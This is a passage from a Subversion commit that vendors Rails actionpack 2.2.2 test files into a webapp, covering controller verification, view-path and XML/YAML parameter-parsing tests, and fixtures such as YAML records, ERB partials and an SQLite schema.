+           :redirect_to => { :action => "unguarded" }
+
+    verify :only => [:multi_one, :multi_two], :session => %w( one two ),
+           :redirect_to => { :action => "unguarded" }
+
+    verify :only => :guarded_by_method, :method => :post,
+           :redirect_to => { :action => "unguarded" }
+
+    verify :only => :guarded_by_xhr, :xhr => true,
+           :redirect_to => { :action => "unguarded" }
+
+    verify :only => :guarded_by_not_xhr, :xhr => false,
+           :redirect_to => { :action => "unguarded" }
+
+    before_filter :unconditional_redirect, :only => :two_redirects
+    verify :only => :two_redirects, :method => :post,
+           :redirect_to => { :action => "unguarded" }
+
+    verify :only => :must_be_post, :method => :post, :render => { :status => 405, :text => "Must be post" }, :add_headers => { "Allow" => "POST" }
+
+    verify :only => :guarded_one_for_named_route_test, :params => "one",
+           :redirect_to => :foo_url
+
+    verify :only => :no_default_action, :params => "santa"
+
+    verify :only => :guarded_with_back, :method => :post,
+           :redirect_to => :back
+
+    def guarded_one
+      render :text => "#{params[:one]}"
+    end
+
+    def guarded_one_for_named_route_test
+      render :text => "#{params[:one]}"
+    end
+
+    def guarded_with_flash
+      render :text => "#{params[:one]}"
+    end
+
+    def guarded_two
+      render :text => "#{params[:one]}:#{params[:two]}"
+    end
+
+    def guarded_in_session
+      render :text => "#{session["one"]}"
+    end
+
+    def multi_one
+      render :text => "#{session["one"]}:#{session["two"]}"
+    end
+
+    def multi_two
+      render :text => "#{session["two"]}:#{session["one"]}"
+    end
+
+    def guarded_by_method
+      render :text => "#{request.method}"
+    end
+
+    def guarded_by_xhr
+      render :text => "#{request.xhr?}"
+    end
+
+    def guarded_by_not_xhr
+      render :text => "#{request.xhr?}"
+    end
+
+    def unguarded
+      render :text => "#{params[:one]}"
+    end
+
+    def two_redirects
+      render :nothing => true
+    end
+
+    def must_be_post
+      render :text => "Was a post!"
+    end
+
+    def guarded_with_back
+      render :text => "#{params[:one]}"
+    end
+
+    def no_default_action
+      # Will never run
+    end
+
+    protected
+      def rescue_action(e) raise end
+
+      def unconditional_redirect
+        redirect_to :action => "unguarded"
+      end
+  end
+
+  def setup
+    @controller = TestController.new
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    ActionController::Routing::Routes.add_named_route :foo, '/foo', :controller => 'test', :action => 'foo'
+  end
+
+  def test_using_symbol_back_with_no_referrer
+    assert_raise(ActionController::RedirectBackError) { get :guarded_with_back }
+  end
+
+  def test_using_symbol_back_redirects_to_referrer
+    @request.env["HTTP_REFERER"] = "/foo"
+    get :guarded_with_back
+    assert_redirected_to '/foo'
+  end
+
+  def test_no_deprecation_warning_for_named_route
+    assert_not_deprecated do
+      get :guarded_one_for_named_route_test, :two => "not one"
+      assert_redirected_to '/foo'
+    end
+  end
+
+  def test_guarded_one_with_prereqs
+    get :guarded_one, :one => "here"
+    assert_equal "here", @response.body
+  end
+
+  def test_guarded_one_without_prereqs
+    get :guarded_one
+    assert_redirected_to :action => "unguarded"
+    assert_equal 'unguarded', flash[:error]
+  end
+
+  def test_guarded_with_flash_with_prereqs
+    get :guarded_with_flash, :one => "here"
+    assert_equal "here", @response.body
+    assert flash.empty?
+  end
+
+  def test_guarded_with_flash_without_prereqs
+    get :guarded_with_flash
+    assert_redirected_to :action => "unguarded"
+    assert_equal "prereqs failed", flash[:notice]
+  end
+
+  def test_guarded_two_with_prereqs
+    get :guarded_two, :one => "here", :two => "there"
+    assert_equal "here:there", @response.body
+  end
+
+  def test_guarded_two_without_prereqs_one
+    get :guarded_two, :two => "there"
+    assert_redirected_to :action => "unguarded"
+  end
+
+  def test_guarded_two_without_prereqs_two
+    get :guarded_two, :one => "here"
+    assert_redirected_to :action => "unguarded"
+  end
+
+  def test_guarded_two_without_prereqs_both
+    get :guarded_two
+    assert_redirected_to :action => "unguarded"
+  end
+
+  def test_unguarded_with_params
+    get :unguarded, :one => "here"
+    assert_equal "here", @response.body
+  end
+
+  def test_unguarded_without_params
+    get :unguarded
+    assert_equal "", @response.body
+  end
+
+  def test_guarded_in_session_with_prereqs
+    get :guarded_in_session, {}, "one" => "here"
+    assert_equal "here", @response.body
+  end
+
+  def test_guarded_in_session_without_prereqs
+    get :guarded_in_session
+    assert_redirected_to :action => "unguarded"
+  end
+
+  def test_multi_one_with_prereqs
+    get :multi_one, {}, "one" => "here", "two" => "there"
+    assert_equal "here:there", @response.body
+  end
+
+  def test_multi_one_without_prereqs
+    get :multi_one
+    assert_redirected_to :action => "unguarded"
+  end
+
+  def test_multi_two_with_prereqs
+    get :multi_two, {}, "one" => "here", "two" => "there"
+    assert_equal "there:here", @response.body
+  end
+
+  def test_multi_two_without_prereqs
+    get :multi_two
+    assert_redirected_to :action => "unguarded"
+  end
+
+  def test_guarded_by_method_with_prereqs
+    post :guarded_by_method
+    assert_equal "post", @response.body
+  end
+
+  def test_guarded_by_method_without_prereqs
+    get :guarded_by_method
+    assert_redirected_to :action => "unguarded"
+  end
+
+  def test_guarded_by_xhr_with_prereqs
+    xhr :post, :guarded_by_xhr
+    assert_equal "true", @response.body
+  end
+
+  def test_guarded_by_xhr_without_prereqs
+    get :guarded_by_xhr
+    assert_redirected_to :action => "unguarded"
+  end
+
+  def test_guarded_by_not_xhr_with_prereqs
+    get :guarded_by_not_xhr
+    assert_equal "false", @response.body
+  end
+
+  def test_guarded_by_not_xhr_without_prereqs
+    xhr :post, :guarded_by_not_xhr
+    assert_redirected_to :action => "unguarded"
+  end
+
+  def test_guarded_post_and_calls_render_succeeds
+    post :must_be_post
+    assert_equal "Was a post!", @response.body
+  end
+
+  def test_default_failure_should_be_a_bad_request
+    post :no_default_action
+    assert_response :bad_request
+  end
+
+  def test_guarded_post_and_calls_render_fails_and_sets_allow_header
+    get :must_be_post
+    assert_response 405
+    assert_equal "Must be post", @response.body
+    assert_equal "POST", @response.headers["Allow"]
+  end
+
+  def test_second_redirect
+    assert_nothing_raised { get :two_redirects }
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/view_paths_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/view_paths_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/view_paths_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,141 @@
+require 'abstract_unit'
+
+class ViewLoadPathsTest < Test::Unit::TestCase
+  class TestController < ActionController::Base
+    def self.controller_path() "test" end
+    def rescue_action(e) raise end
+
+    before_filter :add_view_path, :only => :hello_world_at_request_time
+
+    def hello_world() end
+    def hello_world_at_request_time() render(:action => 'hello_world') end
+
+    private
+      def add_view_path
+        prepend_view_path "#{FIXTURE_LOAD_PATH}/override"
+      end
+  end
+
+  class Test::SubController < ActionController::Base
+    layout 'test/sub'
+    def hello_world; render(:template => 'test/hello_world'); end
+  end
+
+  def setup
+    TestController.view_paths = nil
+
+    @request  = ActionController::TestRequest.new
+    @response = ActionController::TestResponse.new
+
+    @controller = TestController.new
+    # Following is needed in order to setup @controller.template object properly
+    @controller.send :initialize_template_class, @response
+    @controller.send :assign_shortcuts, @request, @response
+
+    # Track the last warning.
+    @old_behavior = ActiveSupport::Deprecation.behavior
+    @last_message = nil
+    ActiveSupport::Deprecation.behavior = Proc.new { |message, callback| @last_message = message }
+  end
+
+  def teardown
+    ActiveSupport::Deprecation.behavior = @old_behavior
+  end
+
+  def test_template_load_path_was_set_correctly
+    assert_equal [FIXTURE_LOAD_PATH], @controller.view_paths
+  end
+
+  def test_controller_appends_view_path_correctly
+    @controller.append_view_path 'foo'
+    assert_equal [FIXTURE_LOAD_PATH, 'foo'], @controller.view_paths
+
+    @controller.append_view_path(%w(bar baz))
+    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz'], @controller.view_paths
+
+    @controller.append_view_path(FIXTURE_LOAD_PATH)
+    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths
+  end
+
+  def test_controller_prepends_view_path_correctly
+    @controller.prepend_view_path 'baz'
+    assert_equal ['baz', FIXTURE_LOAD_PATH], @controller.view_paths
+
+    @controller.prepend_view_path(%w(foo bar))
+    assert_equal ['foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths
+
+    @controller.prepend_view_path(FIXTURE_LOAD_PATH)
+    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths
+  end
+
+  def test_template_appends_view_path_correctly
+    @controller.instance_variable_set :@template, ActionView::Base.new(TestController.view_paths, {}, @controller)
+    class_view_paths = TestController.view_paths
+
+    @controller.append_view_path 'foo'
+    assert_equal [FIXTURE_LOAD_PATH, 'foo'], @controller.view_paths
+
+    @controller.append_view_path(%w(bar baz))
+    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz'], @controller.view_paths
+    assert_equal class_view_paths, TestController.view_paths
+  end
+
+  def test_template_prepends_view_path_correctly
+    @controller.instance_variable_set :@template, ActionView::Base.new(TestController.view_paths, {}, @controller)
+    class_view_paths = TestController.view_paths
+
+    @controller.prepend_view_path 'baz'
+    assert_equal ['baz', FIXTURE_LOAD_PATH], @controller.view_paths
+
+    @controller.prepend_view_path(%w(foo bar))
+    assert_equal ['foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths
+    assert_equal class_view_paths, TestController.view_paths
+  end
+
+  def test_view_paths
+    get :hello_world
+    assert_response :success
+    assert_equal "Hello world!", @response.body
+  end
+
+  def test_view_paths_override
+    TestController.prepend_view_path "#{FIXTURE_LOAD_PATH}/override"
+    get :hello_world
+    assert_response :success
+    assert_equal "Hello overridden world!", @response.body
+  end
+
+  def test_view_paths_override_for_layouts_in_controllers_with_a_module
+    @controller = Test::SubController.new
+    Test::SubController.view_paths = [ "#{FIXTURE_LOAD_PATH}/override", FIXTURE_LOAD_PATH, "#{FIXTURE_LOAD_PATH}/override2" ]
+    get :hello_world
+    assert_response :success
+    assert_equal "layout: Hello overridden world!", @response.body
+  end
+
+  def test_view_paths_override_at_request_time
+    get :hello_world_at_request_time
+    assert_response :success
+    assert_equal "Hello overridden world!", @response.body
+  end
+
+  def test_inheritance
+    original_load_paths = ActionController::Base.view_paths
+
+    self.class.class_eval %{
+      class A < ActionController::Base; end
+      class B < A; end
+      class C < ActionController::Base; end
+    }
+
+    A.view_paths = ['a/path']
+
+    assert_equal ['a/path'], A.view_paths
+    assert_equal A.view_paths, B.view_paths
+    assert_equal original_load_paths, C.view_paths
+
+    C.view_paths = []
+    assert_nothing_raised { C.view_paths << 'c/path' }
+    assert_equal ['c/path'], C.view_paths
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/webservice_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/webservice_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/webservice_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,229 @@
+require 'abstract_unit'
+
+class WebServiceTest < Test::Unit::TestCase
+  class MockCGI < CGI #:nodoc:
+    attr_accessor :stdoutput, :env_table
+
+    def initialize(env, data = '')
+      self.env_table = env
+      self.stdoutput = StringIO.new
+      super(nil, StringIO.new(data))
+    end
+  end
+
+  class TestController < ActionController::Base
+    session :off
+
+    def assign_parameters
+      if params[:full]
+        render :text => dump_params_keys
+      else
+        render :text => (params.keys - ['controller', 'action']).sort.join(", ")
+      end
+    end
+
+    def dump_params_keys(hash=params)
+      hash.keys.sort.inject("") do |s, k|
+        value = hash[k]
+        value = Hash === value ? "(#{dump_params_keys(value)})" : ""
+        s << ", " unless s.empty?
+        s << "#{k}#{value}"
+      end
+    end
+
+    def rescue_action(e) raise end
+  end
+  
+  def setup
+    @controller = TestController.new
+    @default_param_parsers = ActionController::Base.param_parsers.dup
+  end
+
+  def teardown
+    ActionController::Base.param_parsers = @default_param_parsers
+  end
+
+  def test_check_parameters
+    process('GET')
+    assert_equal '', @controller.response.body
+  end
+
+  def test_post_xml
+    process('POST', 'application/xml', '<entry attributed="true"><summary>content...</summary></entry>')
+    
+    assert_equal 'entry', @controller.response.body
+    assert @controller.params.has_key?(:entry)
+    assert_equal 'content...', @controller.params["entry"]['summary']
+    assert_equal 'true', @controller.params["entry"]['attributed']
+  end
+
+  def test_put_xml
+    process('PUT', 'application/xml', '<entry attributed="true"><summary>content...</summary></entry>')
+
+    assert_equal 'entry', @controller.response.body
+    assert @controller.params.has_key?(:entry)
+    assert_equal 'content...', @controller.params["entry"]['summary']
+    assert_equal 'true', @controller.params["entry"]['attributed']
+  end
+
+  def test_put_xml_using_a_type_node
+    process('PUT', 'application/xml', '<type attributed="true"><summary>content...</summary></type>')
+
+    assert_equal 'type', @controller.response.body
+    assert @controller.params.has_key?(:type)
+    assert_equal 'content...', @controller.params["type"]['summary']
+    assert_equal 'true', @controller.params["type"]['attributed']
+  end
+
+  def test_put_xml_using_a_type_node_and_attribute
+    process('PUT', 'application/xml', '<type attributed="true"><summary type="boolean">false</summary></type>')
+
+    assert_equal 'type', @controller.response.body
+    assert @controller.params.has_key?(:type)
+    assert_equal false, @controller.params["type"]['summary']
+    assert_equal 'true', @controller.params["type"]['attributed']
+  end
+
+  def test_post_xml_using_a_type_node
+    process('POST', 'application/xml', '<font attributed="true"><type>arial</type></font>')
+
+    assert_equal 'font', @controller.response.body
+    assert @controller.params.has_key?(:font)
+    assert_equal 'arial', @controller.params['font']['type']
+    assert_equal 'true', @controller.params["font"]['attributed']
+  end
+
+  def test_post_xml_using_a_root_node_named_type
+    process('POST', 'application/xml', '<type type="integer">33</type>')
+
+    assert @controller.params.has_key?(:type)
+    assert_equal 33, @controller.params['type']
+  end
+
+  def test_post_xml_using_an_attributted_node_named_type
+    ActionController::Base.param_parsers[Mime::XML] = Proc.new { |data| XmlSimple.xml_in(data, 'ForceArray' => false) }
+    process('POST', 'application/xml', '<request><type type="string">Arial,12</type><z>3</z></request>')
+
+    assert_equal 'type, z', @controller.response.body
+    assert @controller.params.has_key?(:type)
+    assert_equal 'string', @controller.params['type']['type']
+    assert_equal 'Arial,12', @controller.params['type']['content']
+    assert_equal '3', @controller.params['z']
+  end
+
+  def test_register_and_use_yaml
+    ActionController::Base.param_parsers[Mime::YAML] = Proc.new { |d| YAML.load(d) }
+    process('POST', 'application/x-yaml', {"entry" => "loaded from yaml"}.to_yaml)
+    assert_equal 'entry', @controller.response.body
+    assert @controller.params.has_key?(:entry)
+    assert_equal 'loaded from yaml', @controller.params["entry"]
+  end
+  
+  def test_register_and_use_yaml_as_symbol
+    ActionController::Base.param_parsers[Mime::YAML] = :yaml
+    process('POST', 'application/x-yaml', {"entry" => "loaded from yaml"}.to_yaml)
+    assert_equal 'entry', @controller.response.body
+    assert @controller.params.has_key?(:entry)
+    assert_equal 'loaded from yaml', @controller.params["entry"]
+  end
+
+  def test_register_and_use_xml_simple
+    ActionController::Base.param_parsers[Mime::XML] = Proc.new { |data| XmlSimple.xml_in(data, 'ForceArray' => false) }
+    process('POST', 'application/xml', '<request><summary>content...</summary><title>SimpleXml</title></request>' )
+    assert_equal 'summary, title', @controller.response.body
+    assert @controller.params.has_key?(:summary)
+    assert @controller.params.has_key?(:title)
+    assert_equal 'content...', @controller.params["summary"]
+    assert_equal 'SimpleXml', @controller.params["title"]
+  end
+
+  def test_use_xml_ximple_with_empty_request
+    ActionController::Base.param_parsers[Mime::XML] = :xml_simple
+    assert_nothing_raised { process('POST', 'application/xml', "") }
+    assert_equal "", @controller.response.body
+  end
+
+  def test_dasherized_keys_as_xml
+    ActionController::Base.param_parsers[Mime::XML] = :xml_simple
+    process('POST', 'application/xml', "<first-key>\n<sub-key>...</sub-key>\n</first-key>", true)
+    assert_equal 'action, controller, first_key(sub_key), full', @controller.response.body
+    assert_equal "...", @controller.params[:first_key][:sub_key]
+  end
+
+  def test_typecast_as_xml
+    ActionController::Base.param_parsers[Mime::XML] = :xml_simple
+    process('POST', 'application/xml', <<-XML)
+      <data>
+        <a type="integer">15</a>
+        <b type="boolean">false</b>
+        <c type="boolean">true</c>
+        <d type="date">2005-03-17</d>
+        <e type="datetime">2005-03-17T21:41:07Z</e>
+        <f>unparsed</f>
+        <g type="integer">1</g>
+        <g>hello</g>
+        <g type="date">1974-07-25</g>
+      </data>
+    XML
+    params = @controller.params
+    assert_equal 15, params[:data][:a]
+    assert_equal false, params[:data][:b]
+    assert_equal true, params[:data][:c]
+    assert_equal Date.new(2005,3,17), params[:data][:d]
+    assert_equal Time.utc(2005,3,17,21,41,7), params[:data][:e]
+    assert_equal "unparsed", params[:data][:f]
+    assert_equal [1, "hello", Date.new(1974,7,25)], params[:data][:g]
+  end
+
+  def test_entities_unescaped_as_xml_simple
+    ActionController::Base.param_parsers[Mime::XML] = :xml_simple
+    process('POST', 'application/xml', <<-XML)
+      <data>&lt;foo &quot;bar&apos;s&quot; &amp; friends&gt;</data>
+    XML
+    assert_equal %(<foo "bar's" & friends>), @controller.params[:data]
+  end
+
+  def test_typecast_as_yaml
+    ActionController::Base.param_parsers[Mime::YAML] = :yaml
+    process('POST', 'application/x-yaml', <<-YAML)
+      ---
+      data:
+        a: 15
+        b: false
+        c: true
+        d: 2005-03-17
+        e: 2005-03-17T21:41:07Z
+        f: unparsed
+        g:
+          - 1
+          - hello
+          - 1974-07-25
+    YAML
+    params = @controller.params
+    assert_equal 15, params[:data][:a]
+    assert_equal false, params[:data][:b]
+    assert_equal true, params[:data][:c]
+    assert_equal Date.new(2005,3,17), params[:data][:d]
+    assert_equal Time.utc(2005,3,17,21,41,7), params[:data][:e]
+    assert_equal "unparsed", params[:data][:f]
+    assert_equal [1, "hello", Date.new(1974,7,25)], params[:data][:g]
+  end
+  
+  private  
+  
+  def process(verb, content_type = 'application/x-www-form-urlencoded', data = '', full=false)
+    
+    cgi = MockCGI.new({
+      'REQUEST_METHOD' => verb,
+      'CONTENT_TYPE'   => content_type,
+      'QUERY_STRING'   => "action=assign_parameters&controller=webservicetest/test#{"&full=1" if full}",
+      "REQUEST_URI"    => "/",
+      "HTTP_HOST"      => 'testdomain.com',
+      "CONTENT_LENGTH" => data.size,
+      "SERVER_PORT"    => "80",
+      "HTTPS"          => "off"}, data)
+          
+    @controller.send(:process, ActionController::CgiRequest.new(cgi, {}), ActionController::CgiResponse.new(cgi))
+  end
+    
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/_top_level_partial.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/_top_level_partial.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/_top_level_partial.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+top level partial html
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/_top_level_partial_only.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/_top_level_partial_only.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/_top_level_partial_only.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+top level partial
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/addresses/list.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/addresses/list.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/addresses/list.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+We only need to get this far!

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/bad_customers/_bad_customer.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/bad_customers/_bad_customer.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/bad_customers/_bad_customer.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= greeting %> bad customer: <%= bad_customer.name %><%= bad_customer_counter %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/companies.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/companies.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/companies.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+thirty_seven_signals:
+  id: 1
+  name: 37Signals
+  rating: 4
+
+TextDrive:
+  id: 2
+  name: TextDrive
+  rating: 4
+
+PlanetArgon:
+  id: 3
+  name: Planet Argon
+  rating: 4
+
+Google:
+  id: 4
+  name: Google
+  rating: 4
+  
+Ionist:
+  id: 5
+  name: Ioni.st
+  rating: 4
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/company.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/company.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/company.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+class Company < ActiveRecord::Base
+  has_one :mascot
+  attr_protected :rating
+  set_sequence_name :companies_nonstd_seq
+
+  validates_presence_of :name
+  def validate
+    errors.add('rating', 'rating should not be 2') if rating == 2
+  end  
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/content_type/render_default_content_types_for_respond_to.rhtml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/content_type/render_default_content_types_for_respond_to.rhtml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/content_type/render_default_content_types_for_respond_to.rhtml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<hello>world</hello>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/content_type/render_default_for_rhtml.rhtml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/content_type/render_default_for_rhtml.rhtml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/content_type/render_default_for_rhtml.rhtml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= 'hello world!' %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/content_type/render_default_for_rjs.rjs
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/content_type/render_default_for_rjs.rjs	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/content_type/render_default_for_rjs.rjs	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+page.alert 'hello world!'
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/content_type/render_default_for_rxml.rxml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/content_type/render_default_for_rxml.rxml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/content_type/render_default_for_rxml.rxml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+xml.p "Hello world!"
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/customers/_customer.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/customers/_customer.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/customers/_customer.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= greeting %>: <%= customer.name %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/db_definitions/sqlite.sql
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/db_definitions/sqlite.sql	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/db_definitions/sqlite.sql	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,49 @@
+CREATE TABLE 'companies' (
+  'id' INTEGER PRIMARY KEY NOT NULL,
+  'name' TEXT DEFAULT NULL,
+  'rating' INTEGER DEFAULT 1
+);
+
+CREATE TABLE 'replies' (
+  'id' INTEGER PRIMARY KEY NOT NULL, 
+  'content' text, 
+  'created_at' datetime, 
+  'updated_at' datetime, 
+  'topic_id' integer,
+  'developer_id' integer
+);
+
+CREATE TABLE 'topics' (
+  'id' INTEGER PRIMARY KEY NOT NULL, 
+  'title' varchar(255), 
+  'subtitle' varchar(255), 
+  'content' text, 
+  'created_at' datetime, 
+  'updated_at' datetime
+);
+
+CREATE TABLE 'developers' (
+  'id' INTEGER PRIMARY KEY NOT NULL,
+  'name' TEXT DEFAULT NULL,
+  'salary' INTEGER DEFAULT 70000,
+  'created_at' DATETIME DEFAULT NULL,
+  'updated_at' DATETIME DEFAULT NULL
+);
+
+CREATE TABLE 'projects' (
+  'id' INTEGER PRIMARY KEY NOT NULL,
+  'name' TEXT DEFAULT NULL
+);
+
+CREATE TABLE 'developers_projects' (
+  'developer_id' INTEGER NOT NULL,
+  'project_id' INTEGER NOT NULL,
+  'joined_on' DATE DEFAULT NULL,
+  'access_level' INTEGER DEFAULT 1
+);
+
+CREATE TABLE 'mascots' (
+  'id' INTEGER PRIMARY KEY NOT NULL, 
+  'company_id' INTEGER NOT NULL,
+  'name' TEXT DEFAULT NULL
+);
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/developer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/developer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/developer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+class Developer < ActiveRecord::Base
+  has_and_belongs_to_many :projects
+  has_many :replies
+  has_many :topics, :through => :replies
+end
+
+class DeVeLoPeR < ActiveRecord::Base
+  set_table_name "developers"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/developers/_developer.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/developers/_developer.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/developers/_developer.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= developer.name %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/developers.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/developers.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/developers.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+david:
+  id: 1
+  name: David
+  salary: 80000
+
+jamis:
+  id: 2
+  name: Jamis
+  salary: 150000
+
+<% for digit in 3..10 %>
+dev_<%= digit %>:
+  id: <%= digit %>
+  name: fixture_<%= digit %>
+  salary: 100000
+<% end %>
+
+poor_jamis:
+  id: 11
+  name: Jamis
+  salary: 9000
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/developers_projects.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/developers_projects.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/developers_projects.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+david_action_controller:
+  developer_id: 1
+  project_id: 2
+  joined_on: 2004-10-10
+
+david_active_record:
+  developer_id: 1
+  project_id: 1
+  joined_on: 2004-10-10
+
+jamis_active_record:
+  developer_id: 2
+  project_id: 1
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/fun/games/_game.erb
===================================================================
